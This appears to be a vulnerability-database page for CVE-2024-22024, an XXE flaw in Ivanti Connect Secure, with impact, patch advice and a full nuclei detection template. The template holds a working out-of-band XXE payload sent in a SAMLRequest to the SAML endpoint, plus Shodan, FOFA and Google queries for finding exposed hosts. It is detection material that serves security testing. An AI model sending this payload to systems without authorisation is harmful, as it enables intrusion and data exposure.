HexBrain

Browse / CVEs / CVE-2024-22024

CVE-2024-22024· ivanti / connect secure

Ivanti Connect Secure - XXE

highseverity
94.7%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Ivanti Connect Secure is vulnerable to XXE (XML External Entity) injection.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information or remote code execution.

Fix

Apply the latest security patches or updates provided by Ivanti to fix the XXE vulnerability.

How to confirm it

Send: POST /dana-na/auth/saml-sso.cgi
Positive when: contains in interactsh_protocol "dns" AND contains "/dana-na/" and "WriteCSS"

Run it with nuclei: nuclei -id CVE-2024-22024 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2024-22024

info:
  name: Ivanti Connect Secure - XXE
  author: watchTowr
  severity: high
  description: |
    Ivanti Connect Secure is vulnerable to XXE (XML External Entity) injection.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information or remote code execution.
  remediation: |
    Apply the latest security patches or updates provided by Ivanti to fix the XXE vulnerability.
  reference:
    - https://labs.watchtowr.com/are-we-now-part-of-ivanti/
    - https://twitter.com/h4x0r_dz/status/1755849867149103106/photo/1
  classification:
    epss-score: 0.94721
    epss-percentile: 0.99858
  metadata:
    max-request: 1
    vendor: ivanti
    product: connect_secure
    shodan-query:
      - "html:\"welcome.cgi?p=logo\""
      - http.title:"ivanti connect secure"
      - http.html:"welcome.cgi?p=logo"
    fofa-query:
      - body="welcome.cgi?p=logo"
      - title="ivanti connect secure"
    google-query: intitle:"ivanti connect secure"
  tags: cve,cve2024,xxe,ivanti,vkev,vuln

variables:
  payload: '<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM
    "http://{{interactsh-url}}/x"> %watchTowr;]><r></r>'

http:
  - raw:
      - |
        POST /dana-na/auth/saml-sso.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        SAMLRequest={{base64(payload)}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: body
        words:
          - '/dana-na/'
          - 'WriteCSS'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from